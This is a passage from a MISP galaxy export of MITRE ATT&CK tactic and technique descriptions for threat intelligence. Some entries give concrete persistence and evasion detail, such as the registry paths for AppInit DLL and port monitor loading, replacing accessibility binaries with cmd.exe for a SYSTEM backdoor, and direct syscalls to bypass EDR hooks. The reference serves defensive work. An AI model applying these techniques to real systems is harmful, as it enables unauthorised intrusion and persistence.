https://attack.mitre.org/tactics/TA0023

Build Capabilities - TA0024

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/tactics/TA0024/).

Building capabilities consists of developing and/or acquiring the software, data and techniques used at different phases of an operation. This is the process of identifying development requirements and implementing solutions such as malware, delivery mechanisms, obfuscation/cryptographic protections, and call back and O&M functions.

The tag is: *misp-galaxy:mitre-attack-pattern="Build Capabilities - TA0024"*

Table 8860. Table References

Links

https://attack.mitre.org/tactics/TA0024

Resource Development - TA0042

The adversary is trying to establish resources they can use to support operations.

Resource Development consists of techniques that involve adversaries creating, purchasing, or compromising/stealing resources that can be used to support targeting. Such resources include infrastructure, accounts, or capabilities. These resources can be leveraged by the adversary to aid in other phases of the adversary lifecycle, such as using purchased domains to support Command and Control, email accounts for phishing as a part of Initial Access, or stealing code signing certificates to help with Defense Evasion.

The tag is: *misp-galaxy:mitre-attack-pattern="Resource Development - TA0042"*

Table 8861. Table References

Links
https://attack.mitre.org/tactics/TA0042

Test Capabilities - TA0025

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/tactics/TA0025/).

Testing capabilities takes place when adversaries may need to test capabilities externally to refine development goals and criteria and to ensure success during an operation. Certain testing may be done after a capability is staged.

The tag is: *misp-galaxy:mitre-attack-pattern="Test Capabilities - TA0025"*

Table 8862. Table References

Links
https://attack.mitre.org/tactics/TA0025

Stage Capabilities - TA0026

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/tactics/TA0026/).

Staging capabilities consists of preparing operational environment required to conduct the operation. This includes activities such as deploying software, uploading data, enabling command and control infrastructure.

The tag is: *misp-galaxy:mitre-attack-pattern="Stage Capabilities - TA0026"*

Table 8863. Table References

Links
https://attack.mitre.org/tactics/TA0026

Initial Access - TA0027

The adversary is trying to get into your device.

The initial access tactic represents the vectors adversaries use to gain an initial foothold onto a mobile device.

The tag is: *misp-galaxy:mitre-attack-pattern="Initial Access - TA0027"*

Table 8864. Table References

Links
https://attack.mitre.org/tactics/TA0027

Privilege Escalation - TA0029

```
The adversary is trying to gain higher-level permissions.
```

Privilege escalation includes techniques that allow an attacker to obtain a higher level of permissions on the mobile device. Attackers may enter the mobile device with very limited privileges and may be required to take advantage of a device weakness to obtain higher privileges necessary to successfully carry out their mission objectives.

The tag is: *misp-galaxy:mitre-attack-pattern="Privilege Escalation - TA0029"*

Table 8865. Table References

Links
https://attack.mitre.org/tactics/TA0029

Lateral Movement - TA0033

The adversary is trying to move through your environment.

Lateral movement consists of techniques that enable an adversary to access and control remote systems on a network and could, but does not necessarily, include execution of tools on remote systems. The lateral movement techniques could allow an adversary to gather information from a system without needing additional tools, such as a remote access tool.

The tag is: *misp-galaxy:mitre-attack-pattern="Lateral Movement - TA0033"*

Table 8866. Table References

Links
https://attack.mitre.org/tactics/TA0033

Network Effects - TA0038

The adversary is trying to intercept or manipulate network traffic to or from a device.

This category refers to network-based techniques that an adversary may be able to use to fulfill his or her objectives without access to the mobile device itself. These include techniques to intercept or manipulate network traffic to and from the mobile device.

The tag is: *misp-galaxy:mitre-attack-pattern="Network Effects - TA0038"*

Table 8867. Table References

Links
https://attack.mitre.org/tactics/TA0038

Brute Force - T1110

Adversaries may use brute force techniques to gain access to accounts when passwords are unknown or when password hashes are obtained.(Citation: TrendMicro Pawn Storm Dec 2020) Without knowledge of the password for an account or set of accounts, an adversary may systematically guess the password using a repetitive or iterative mechanism.(Citation: Dragos Crashoverride 2018) Brute forcing passwords can take place via interaction with a service that will check the validity of those credentials or offline against previously acquired credential data, such as password hashes.

Brute forcing credentials may take place at various points during a breach. For example, adversaries may attempt to brute force access to [Valid Accounts](https://attack.mitre.org/techniques/T1078) within a victim environment leveraging knowledge gathered from other post-compromise behaviors such as [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), [Account Discovery](https://attack.mitre.org/techniques/T1087), or [Password Policy Discovery](https://attack.mitre.org/techniques/T1201). Adversaries may also combine brute forcing activity with behaviors such as [External Remote Services](https://attack.mitre.org/techniques/T1133) as part of Initial Access.

If an adversary guesses the correct password but fails to login to a compromised account due to location-based conditional access policies, they may change their infrastructure until they match the victim's location and therefore bypass those policies.(Citation: ReliaQuest Health Care Social Engineering Campaign 2024)

The tag is: *misp-galaxy:mitre-attack-pattern="Brute Force - T1110"*

Table 8868. Table References

Links
https://attack.mitre.org/techniques/T1110

https://www.dragos.com/wp-content/uploads/CRASHOVERRIDE2018.pdf
https://www.reliaquest.com/blog/health-care-social-engineering-campaign/
https://www.trendmicro.com/en_us/research/20/l/pawn-storm-lack-of-sophistication-as-a-strategy.html

Query Registry - T1012

Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.

The Registry contains a significant amount of information about the operating system, configuration, software, and security.(Citation: Wikipedia Windows Registry) Information can easily be queried using the [Reg](https://attack.mitre.org/software/S0075) utility, though other means to access the Registry exist. Some of the information may help adversaries to further their operation within a network. Adversaries may use the information from [Query Registry](https://attack.mitre.org/techniques/T1012) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.

The tag is: *misp-galaxy:mitre-attack-pattern="Query Registry - T1012"*

Table 8869. Table References

Links
https://attack.mitre.org/techniques/T1012
https://en.wikipedia.org/wiki/Windows_Registry

Remote Services - T1021

Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log into a service that accepts remote connections, such as telnet, SSH, and VNC. The adversary may then perform actions as the logged-on user.

In an enterprise environment, servers and workstations can be organized into domains. Domains provide centralized identity management, allowing users to login using one set of credentials across the entire network. If an adversary is able to obtain a set of valid domain credentials, they could login to many different machines using remote access protocols such as secure shell (SSH) or remote desktop protocol (RDP).(Citation: SSH Secure Shell)(Citation: TechNet Remote Desktop Services) They could also login to accessible SaaS or IaaS services, such as those that federate their identities to the domain, or management platforms for internal virtualization environments such as VMware vCenter.

Legitimate applications (such as [Software Deployment Tools](https://attack.mitre.org/techniques/T1072) and other administrative programs) may utilize [Remote Services](https://attack.mitre.org/techniques/T1021) to access remote hosts. For example, Apple Remote Desktop (ARD) on macOS is native software used for remote management. ARD leverages a blend of protocols, including [VNC](https://attack.mitre.org/techniques/T1021/005) to send the screen and control buffers and

[SSH](https://attack.mitre.org/techniques/T1021/004) for secure file transfer.(Citation: Remote Management MDM macOS)(Citation: Kickstart Apple Remote Desktop commands)(Citation: Apple Remote Desktop Admin Guide 3.3) Adversaries can abuse applications such as ARD to gain remote code execution and perform lateral movement. In versions of macOS prior to 10.14, an adversary can escalate an SSH session to an ARD session which enables an adversary to accept TCC (Transparency, Consent, and Control) prompts without user interaction and gain access to data.(Citation: FireEye 2019 Apple Remote Desktop)(Citation: Lockboxx ARD 2019)(Citation: Kickstart Apple Remote Desktop commands)

The tag is: *misp-galaxy:mitre-attack-pattern="Remote Services - T1021"*

Table 8870. Table References

Links
http://lockboxx.blogspot.com/2019/07/macos-red-teaming-206-ard-apple-remote.html
https://attack.mitre.org/techniques/T1021
https://images.apple.com/remotedesktop/pdf/ARD_Admin_Guide_v3.3.pdf
https://sarah-edwards-xzkc.squarespace.com/blog/2020/4/30/analysis-of-apple-unified-logs-quarantine-edition-entry-6-working-from-home-remote-logins
https://support.apple.com/en-us/HT201710
https://support.apple.com/en-us/HT209161
https://technet.microsoft.com/en-us/windowsserver/ee236407.aspx
https://www.fireeye.com/blog/threat-research/2019/10/leveraging-apple-remote-desktop-for-good-and-evil.html
https://www.ssh.com/ssh

Web Service - T1102

Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites, cloud services, and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google, Microsoft, or Twitter, makes it easier for adversaries to hide in expected noise.(Citation: Broadcom BirdyClient Microsoft Graph API 2024) Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.

Use of Web services may also protect back-end C2 infrastructure from discovery through malware binary analysis while also enabling operational resiliency (since this infrastructure may be dynamically changed).

The tag is: *misp-galaxy:mitre-attack-pattern="Web Service - T1102"*

Table 8871. Table References

Links

https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
https://attack.mitre.org/techniques/T1102
https://www.broadcom.com/support/security-center/protection-bulletin/birdyclient-malware-leverages-microsoft-graph-api-for-c-c-communication

AppInit DLLs - T1103

Dynamic-link libraries (DLLs) that are specified in the AppInit_DLLs value in the Registry keys <code>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Windows</code> or <code>HKEY_LOCAL_MACHINE\Software\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Windows</code> are loaded by user32.dll into every process that loads user32.dll. In practice this is nearly every program, since user32.dll is a very common library. (Citation: Elastic Process Injection July 2017) Similar to [Process Injection](https://attack.mitre.org/techniques/T1055), these values can be abused to obtain persistence and privilege escalation by causing a malicious DLL to be loaded and run in the context of separate processes on the computer. (Citation: AppInit Registry)

The AppInit DLL functionality is disabled in Windows 8 and later versions when secure boot is enabled. (Citation: AppInit Secure Boot)

The tag is: *misp-galaxy:mitre-attack-pattern="AppInit DLLs - T1103"*

Table 8872. Table References

Links
https://attack.mitre.org/techniques/T1103
https://msdn.microsoft.com/en-us/library/dn280412
https://support.microsoft.com/en-us/kb/197571
https://technet.microsoft.com/en-us/sysinternals/bb963902
https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process

Port Monitors - T1013

A port monitor can be set through the (Citation: AddMonitor) API call to set a DLL to be loaded at startup. (Citation: AddMonitor) This DLL can be located in <code>C:\Windows\System32</code> and will be loaded by the print spooler service, spoolsv.exe, on boot. The spoolsv.exe process also runs under SYSTEM level permissions. (Citation: Bloxham) Alternatively, an arbitrary DLL can be loaded if permissions allow writing a fully-qualified pathname for that DLL to <code>HKLM\SYSTEM\CurrentControlSet\Control\Print\Monitors</code>.

The Registry key contains entries for the following:

- Local Port
- Standard TCP/IP Port

- USB Monitor
- WSD Port

Adversaries can use this technique to load malicious code at startup that will persist on system reboot and execute as SYSTEM.

The tag is: *misp-galaxy:mitre-attack-pattern="Port Monitors - T1013"*

Table 8873. Table References

Links
http://msdn.microsoft.com/en-us/library/dd183341
https://attack.mitre.org/techniques/T1013
https://technet.microsoft.com/en-us/sysinternals/bb963902
https://www.defcon.org/images/defcon-22/dc-22-presentations/Bloxham/DEFCON-22-Brady-Bloxham-Windows-API-Abuse-UPDATED.pdf

Accessibility Features - T1015

Windows contains accessibility features that may be launched with a key combination before a user has logged in (for example, when the user is on the Windows logon screen). An adversary can modify the way these programs are launched to get a command prompt or backdoor without logging in to the system.

Two common accessibility programs are <code>C:\Windows\System32\sethc.exe</code>, launched when the shift key is pressed five times and <code>C:\Windows\System32\utilman.exe</code>, launched when the Windows + U key combination is pressed. The sethc.exe program is often referred to as "sticky keys", and has been used by adversaries for unauthenticated access through a remote desktop login screen. (Citation: FireEye Hikit Rootkit)

Depending on the version of Windows, an adversary may take advantage of these features in different ways because of code integrity enhancements. In newer versions of Windows, the replaced binary needs to be digitally signed for x64 systems, the binary must reside in <code>%systemdir%\</code>, and it must be protected by Windows File or Resource Protection (WFP/WRP). (Citation: DEFCON2016 Sticky Keys) The debugger method was likely discovered as a potential workaround because it does not require the corresponding accessibility feature binary to be replaced. Examples for both methods:

For simple binary replacement on Windows XP and later as well as and Windows Server 2003/R2 and later, for example, the program (e.g., <code>C:\Windows\System32\utilman.exe</code>) may be replaced with "cmd.exe" (or another program that provides backdoor access). Subsequently, pressing the appropriate key combination at the login screen while sitting at the keyboard or when connected over [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1076) will cause the replaced file to be executed with SYSTEM privileges. (Citation: Tilbury 2014)

For the debugger method on Windows Vista and later as well as Windows Server 2008 and later, for example, a Registry key may be modified that configures "cmd.exe," or another program that

provides backdoor access, as a "debugger" for the accessibility program (e.g., "utilman.exe"). After the Registry is modified, pressing the appropriate key combination at the login screen while at the keyboard or when connected with RDP will cause the "debugger" program to be executed with SYSTEM privileges. (Citation: Tilbury 2014)

Other accessibility features exist that may also be leveraged in a similar fashion: (Citation: DEFCON2016 Sticky Keys)

- On-Screen Keyboard: <code>C:\Windows\System32\osk.exe</code>
- Magnifier: <code>C:\Windows\System32\Magnify.exe</code>
- Narrator: <code>C:\Windows\System32\Narrator.exe</code>
- Display Switcher: <code>C:\Windows\System32\DisplaySwitch.exe</code>
- App Switcher: <code>C:\Windows\System32\AtBroker.exe</code>

The tag is: *misp-galaxy:mitre-attack-pattern="Accessibility Features - T1015"*

Table 8874. Table References

Links
http://blog.crowdstrike.com/registry-analysis-with-crowdresponse/
https://attack.mitre.org/techniques/T1015
https://capec.mitre.org/data/definitions/558.html
https://www.fireeye.com/blog/threat-research/2012/08/hikit-rootkit-advanced-persistent-attack-techniques-part-1.html
https://www.slideshare.net/DennisMaldonado5/sticky-keys-to-the-kingdom

Clipboard Modification - T1510

Adversaries may abuse clipboard functionality to intercept and replace information in the Android device clipboard.(Citation: ESET Clipboard Modification February 2019)(Citation: Welivesecurity Clipboard Modification February 2019)(Citation: Syracuse Clipboard Modification 2014) Malicious applications may monitor the clipboard activity through the <code>ClipboardManager.OnPrimaryClipChangedListener</code> interface on Android to determine when the clipboard contents have changed.(Citation: Dr.Webb Clipboard Modification origin2 August 2018)(Citation: Dr.Webb Clipboard Modification origin August 2018) Listening to clipboard activity, reading the clipboard contents, and modifying the clipboard contents requires no explicit application permissions and can be performed by applications running in the background, however, this behavior has changed with the release of Android 10.(Citation: Android 10 Privacy Changes)

Adversaries may use [Clipboard Modification](https://attack.mitre.org/techniques/T1510) to replace text prior to being pasted, for example, replacing a copied Bitcoin wallet address with a wallet address that is under adversarial control.

[Clipboard Modification](https://attack.mitre.org/techniques/T1510) had been seen within the Android/Clipper.C trojan. This sample had been detected by ESET in an application distributed

through the Google Play Store targeting cryptocurrency wallet numbers.(Citation: ESET Clipboard Modification February 2019)

The tag is: *misp-galaxy:mitre-attack-pattern="Clipboard Modification - T1510"*

Table 8875. Table References

Links
http://www.cis.syr.edu/}wedu/Research/paper/clipboard_attack_dimva2014.pdf
https://attack.mitre.org/techniques/T1510
https://developer.android.com/about/versions/10/privacy/changes#clipboard-data
https://vms.drweb.com/virus/?i=17517750
https://vms.drweb.com/virus/?i=17517761
https://www.eset.com/uk/about/newsroom/press-releases/first-clipper-malware-discovered-on-google-play-1/
https://www.welivesecurity.com/2019/02/08/first-clipper-malware-google-play/

Plist Modification - T1150

Property list (plist) files contain all of the information that macOS and OS X uses to configure applications and services. These files are UTF-8 encoded and formatted like XML documents via a series of keys surrounded by < >. They detail when programs should execute, file paths to the executables, program arguments, required OS permissions, and many others. plists are located in certain locations depending on their purpose such as <code>/Library/Preferences</code> (which execute with elevated privileges) and <code>~/Library/Preferences</code> (which execute with a user's privileges). Adversaries can modify these plist files to point to their own code, can use them to execute their code in the context of another user, bypass whitelisting procedures, or even use them as a persistence mechanism. (Citation: Sofacy Komplex Trojan)

The tag is: *misp-galaxy:mitre-attack-pattern="Plist Modification - T1150"*

Table 8876. Table References

Links
https://attack.mitre.org/techniques/T1150
https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/

Systemd Service - T1501

Systemd services can be used to establish persistence on a Linux system. The systemd service manager is commonly used for managing background daemon processes (also known as services) and other system resources.(Citation: Linux man-pages: systemd January 2014)(Citation: Freedesktop.org Linux systemd 29SEP2018) Systemd is the default initialization (init) system on

many Linux distributions starting with Debian 8, Ubuntu 15.04, CentOS 7, RHEL 7, Fedora 15, and replaces legacy init systems including SysVinit and Upstart while remaining backwards compatible with the aforementioned init systems.

Systemd utilizes configuration files known as service units to control how services boot and under what conditions. By default, these unit files are stored in the <code>/etc/systemd/system</code> and <code>/usr/lib/systemd/system</code> directories and have the file extension <code>.service</code>. Each service unit file may contain numerous directives that can execute system commands.

- ExecStart, ExecStartPre, and ExecStartPost directives cover execution of commands when a services is started manually by 'systemctl' or on system start if the service is set to automatically start.
- ExecReload directive covers when a service restarts.
- ExecStop and ExecStopPost directives cover when a service is stopped or manually by 'systemctl'.

Adversaries have used systemd functionality to establish persistent access to victim systems by creating and/or modifying service unit files that cause systemd to execute malicious commands at recurring intervals, such as at system boot.(Citation: Anomali Rocke March 2019)(Citation: gist Arch package compromise 10JUL2018)(Citation: Arch Linux Package Systemd Compromise BleepingComputer 10JUL2018)(Citation: acroread package compromised Arch Linux Mail 8JUL2018)

While adversaries typically require root privileges to create/modify service unit files in the <code>/etc/systemd/system</code> and <code>/usr/lib/systemd/system</code> directories, low privilege users can create/modify service unit files in directories such as <code>~/.config/systemd/user/</code> to achieve user-level persistence.(Citation: Rapid7 Service Persistence 22JUNE2016)

The tag is: *misp-galaxy:mitre-attack-pattern="Systemd Service - T1501"*

Table 8877. Table References

Links
http://man7.org/linux/man-pages/man1/systemd.1.html
https://attack.mitre.org/techniques/T1501
https://gist.github.com/campuscodi/74d0d2e35d8fd9499c76333ce027345a
https://lists.archlinux.org/pipermail/aur-general/2018-July/034153.html
https://www.anomali.com/blog/rocke-evolves-its-arsenal-with-a-new-malware-family-written-in-golang
https://www.bleepingcomputer.com/news/security/malware-found-in-arch-linux-aur-package-repository/
https://www.freedesktop.org/wiki/Software/systemd/
https://www.rapid7.com/db/modules/exploit/linux/local/service_persistence

Shared Webroot - T1051

This technique has been deprecated and should no longer be used.

Adversaries may add malicious content to an internally accessible website through an open network file share that contains the website's webroot or Web content directory (Citation: Microsoft Web Root OCT 2016) (Citation: Apache Server 2018) and then browse to that content with a Web browser to cause the server to execute the malicious content. The malicious content will typically run under the context and permissions of the Web server process, often resulting in local system or administrative privileges, depending on how the Web server is configured.

This mechanism of shared access and remote execution could be used for lateral movement to the system running the Web server. For example, a Web server running PHP with an open network share could allow an adversary to upload a remote access tool and PHP script to execute the RAT on the system running the Web server when a specific page is visited. (Citation: Webroot PHP 2011)

The tag is: *misp-galaxy:mitre-attack-pattern="Shared Webroot - T1051"*

Table 8878. Table References

Links
http://httpd.apache.org/docs/2.4/getting-started.html#content
https://attack.mitre.org/techniques/T1051
https://capec.mitre.org/data/definitions/563.html
https://www.webroot.com/blog/2011/02/22/malicious-php-scripts-on-the-rise/

Native API - T1106

Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.(Citation: NT API Windows)(Citation: Linux Kernel API) These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.

Adversaries may abuse these OS API functions as a means of executing behaviors. Similar to [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), the native API and its hierarchy of interfaces provide mechanisms to interact with and utilize various components of a victimized system.

Native API functions (such as <code>NtCreateProcess</code>) may be directed invoked via system calls / syscalls, but these features are also often exposed to user-mode applications via interfaces and libraries.(Citation: OutFlank System Calls)(Citation: CyberBit System Calls)(Citation: MDSec System Calls) For example, functions such as the Windows API <code>CreateProcess()</code> or GNU <code>fork()</code> will allow programs and scripts to start other processes.(Citation: Microsoft CreateProcess)(Citation: GNU Fork) This may allow API callers to execute a binary, run a CLI command, load modules, etc. as thousands of similar API functions exist for various system

operations.(Citation: Microsoft Win32)(Citation: LIBC)(Citation: GLIBC)

Higher level software frameworks, such as Microsoft .NET and macOS Cocoa, are also available to interact with native APIs. These frameworks typically provide language wrappers/abstractions to API functionalities and are designed for ease-of-use/portability of code.(Citation: Microsoft NET)(Citation: Apple Core Services)(Citation: MACOS Cocoa)(Citation: macOS Foundation)

Adversaries may use assembly to directly or in-directly invoke syscalls in an attempt to subvert defensive sensors and detection signatures such as user mode API-hooks.(Citation: Redops Syscalls) Adversaries may also attempt to tamper with sensors and defensive tools associated with API monitoring, such as unhooking monitored functions via [Disable or Modify Tools](https://attack.mitre.org/techniques/T1562/001).

The tag is: *misp-galaxy:mitre-attack-pattern="Native API - T1106"*

Table 8879. Table References

Links
https://attack.mitre.org/techniques/T1106
https://developer.apple.com/documentation/coreservices
https://developer.apple.com/documentation/foundation
https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/OSX_Technology_Overview/CocoaApplicationLayer/CocoaApplicationLayer.html#//apple_ref/doc/uid/TP40001067-CH274-SW1
https://docs.microsoft.com/en-us/windows/win32/api/
https://dotnet.microsoft.com/learn/dotnet/what-is-dotnet-framework
https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createprocessa
https://man7.org/linux/man-pages//man7/libc.7.html
https://outflank.nl/blog/2019/06/19/red-team-tactics-combining-direct-system-calls-and-srdi-to-bypass-av-edr/
https://redops.at/en/blog/direct-syscalls-vs-indirect-syscalls
https://undocumented.ntinternals.net/
https://www.cyberbit.com/blog/endpoint-security/malware-mitigation-when-direct-system-calls-are-used/
https://www.gnu.org/software/libc/
https://www.gnu.org/software/libc/manual/html_node/Creating-a-Process.html
https://www.kernel.org/doc/html/v4.12/core-api/kernel-api.html
https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams/

Deploy Container - T1610

Adversaries may deploy a container into an environment to facilitate execution or evade defenses. In some cases, adversaries may deploy a new container to execute processes associated with a particular image or deployment, such as processes that execute or download malware. In others, an adversary may deploy a new container configured without network rules, user limitations, etc. to bypass existing defenses within the environment. In Kubernetes environments, an adversary may attempt to deploy a privileged or vulnerable container into a specific node in order to [Escape to Host](https://attack.mitre.org/techniques/T1611) and access other containers running on the node. (Citation: AppSecco Kubernetes Namespace Breakout 2020)

Containers can be deployed by various means, such as via Docker's <code>create</code> and <code>start</code> APIs or via a web application such as the Kubernetes dashboard or Kubeflow. (Citation: Docker Containers API)(Citation: Kubernetes Dashboard)(Citation: Kubeflow Pipelines) In Kubernetes environments, containers may be deployed through workloads such as ReplicaSets or DaemonSets, which can allow containers to be deployed across multiple nodes.(Citation: Kubernetes Workload Management) Adversaries may deploy containers based on retrieved or built malicious images or from benign images that download and execute malicious payloads at runtime.(Citation: Aqua Build Images on Hosts)

The tag is: *misp-galaxy:mitre-attack-pattern="Deploy Container - T1610"*

Table 8880. Table References

Links
https://attack.mitre.org/techniques/T1610
https://blog.appsecco.com/kubernetes-namespace-breakout-using-insecure-host-path-volume-part-1-b382f2a6e216
https://blog.aquasec.com/malicious-container-image-docker-container-host
https://docs.docker.com/engine/api/v1.41/#tag/Container
https://kubernetes.io/docs/concepts/workloads/controllers/
https://kubernetes.io/docs/tasks/access-application-cluster/web-ui-dashboard/
https://www.kubeflow.org/docs/components/pipelines/overview/pipelines-overview/

Launch Daemon - T1160

Per Apple's developer documentation, when macOS and OS X boot up, launchd is run to finish system initialization. This process loads the parameters for each launch-on-demand system-level daemon from the property list (plist) files found in <code>/System/Library/LaunchDaemons</code> and <code>/Library/LaunchDaemons</code> (Citation: AppleDocs Launch Agent Daemons). These LaunchDaemons have property list files which point to the executables that will be launched (Citation: Methods of Mac Malware Persistence).

Adversaries may install a new launch daemon that can be configured to execute at startup by using launchd or launchctl to load a plist into the appropriate directories (Citation: OSX Malware Detection). The daemon name may be disguised by using a name from a related operating system

or benign software (Citation: WireLurker). Launch Daemons may be created with administrator privileges, but are executed under root privileges, so an adversary may also use a service to escalate privileges from administrator to root.

The plist file permissions must be root:wheel, but the script or program that it points to has no such requirement. So, it is possible for poor configurations to allow an adversary to modify a current Launch Daemon's executable and gain persistence or Privilege Escalation.

The tag is: *misp-galaxy:mitre-attack-pattern="Launch Daemon - T1160"*

Table 8881. Table References

Links
https://attack.mitre.org/techniques/T1160
https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html
https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-wirelurker.pdf
https://www.synack.com/wp-content/uploads/2016/03/RSA_OSX_Malware.pdf
https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf

File Deletion - T1107

Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.

There are tools available from the host operating system to perform cleanup, but adversaries may use other tools as well. Examples include native [cmd](https://attack.mitre.org/software/S0106) functions such as DEL, secure deletion tools such as Windows Sysinternals SDelete, or other third-party file deletion tools. (Citation: Trend Micro APT Attack Tools)

The tag is: *misp-galaxy:mitre-attack-pattern="File Deletion - T1107"*

Table 8882. Table References

Links
http://blog.trendmicro.com/trendlabs-security-intelligence/in-depth-look-apt-attack-tools-of-the-trade/
https://attack.mitre.org/techniques/T1107

Redundant Access - T1108

This technique has been deprecated. Please use [Create Account](https://attack.mitre.org/techniques/T1136), [Web Shell](https://attack.mitre.org/techniques/T1505/003), and [External Remote Services](https://attack.mitre.org/techniques/T1133) where appropriate.

Adversaries may use more than one remote access tool with varying command and control protocols or credentialed access to remote services so they can maintain access if an access mechanism is detected or mitigated.

If one type of tool is detected and blocked or removed as a response but the organization did not gain a full understanding of the adversary's tools and access, then the adversary will be able to retain access to the network. Adversaries may also attempt to gain access to [Valid Accounts](https://attack.mitre.org/techniques/T1078) to use [External Remote Services](https://attack.mitre.org/techniques/T1133) such as external VPNs as a way to maintain access despite interruptions to remote access tools deployed within a target network.(Citation: Mandiant APT1) Adversaries may also retain access through cloud-based infrastructure and applications.

Use of a [Web Shell](https://attack.mitre.org/techniques/T1100) is one such way to maintain access to a network through an externally accessible Web server.

The tag is: *misp-galaxy:mitre-attack-pattern="Redundant Access - T1108"*

Table 8883. Table References

Links
https://attack.mitre.org/techniques/T1108
https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf

Component Firmware - T1109

Some adversaries may employ sophisticated means to compromise computer components and install malicious firmware that will execute adversary code outside of the operating system and main system firmware or BIOS. This technique may be similar to [System Firmware](https://attack.mitre.org/techniques/T1019) but conducted upon other system components that may not have the same capability or level of integrity checking. Malicious device firmware could provide both a persistent level of access to systems despite potential typical failures to maintain access and hard disk re-images, as well as a way to evade host software-based defenses and integrity checks.

The tag is: *misp-galaxy:mitre-attack-pattern="Component Firmware - T1109"*

Table 8884. Table References

Links
https://attack.mitre.org/techniques/T1109
https://www.itworld.com/article/2853992/3-tools-to-check-your-hard-drives-health-and-make-sure-its-not-already-dying-on-you.html
https://www.smartmontools.org/

System Firmware - T1019

The BIOS (Basic Input/Output System) and The Unified Extensible Firmware Interface (UEFI) or Extensible Firmware Interface (EFI) are examples of system firmware that operate as the software interface between the operating system and hardware of a computer. (Citation: Wikipedia BIOS) (Citation: Wikipedia UEFI) (Citation: About UEFI)

System firmware like BIOS and (U)EFI underly the functionality of a computer and may be modified by an adversary to perform or assist in malicious activity. Capabilities exist to overwrite the system firmware, which may give sophisticated adversaries a means to install malicious firmware updates as a means of persistence on a system that may be difficult to detect.

The tag is: *misp-galaxy:mitre-attack-pattern="System Firmware - T1019"*

Table 8885. Table References

Links
http://www.intelsecurity.com/advanced-threat-research/content/data/HT-UEFI-rootkit.html
http://www.mitre.org/capabilities/cybersecurity/overview/cybersecurity-blog/copernicus-question-your-assumptions-about
http://www.mitre.org/publications/project-stories/going-deep-into-the-bios-with-mitre-firmware-security-research
http://www.uefi.org/about
https://attack.mitre.org/techniques/T1019
https://capec.mitre.org/data/definitions/532.html
https://en.wikipedia.org/wiki/BIOS
https://en.wikipedia.org/wiki/Unified_Extensible_Firmware_Interface
https://github.com/chipsec/chipsec
https://securingtomorrow.mcafee.com/business/chipsec-support-vault-7-disclosure-scanning/

Data Encrypted - T1022

Data is encrypted before being exfiltrated in order to hide the information that is being exfiltrated from detection or to make the exfiltration less conspicuous upon inspection by a defender. The encryption is performed by a utility, programming library, or custom algorithm on the data itself and is considered separate from any encryption performed by the command and control or file transfer protocol. Common file archive formats that can encrypt files are RAR and zip.

Other exfiltration techniques likely apply as well to transfer the information out of the network, such as [Exfiltration Over C2 Channel](https://attack.mitre.org/techniques/T1041) and [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048)

The tag is: *misp-galaxy:mitre-attack-pattern="Data Encrypted - T1022"*

Table 8886. Table References

Links
http://www.netsec.colostate.edu/}zhang/DetectingEncryptedBotnetTraffic.pdf
https://attack.mitre.org/techniques/T1022
https://en.wikipedia.org/wiki/List_of_file_signatures

Data Hiding - T1320

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1320).

Certain types of traffic (e.g., DNS tunneling, header inject) allow for user-defined fields. These fields can then be used to hide data. In addition to hiding data in network protocols, steganography techniques can be used to hide data in images or other file formats. Detection can be difficult unless a particular signature is already known. (Citation: BotnetsDNSC2) (Citation: HAMMERTOSS2015) (Citation: DNS-Tunnel)

The tag is: *misp-galaxy:mitre-attack-pattern="Data Hiding - T1320"*

Table 8887. Table References

Links
https://attack.mitre.org/techniques/T1320

Shortcut Modification - T1023

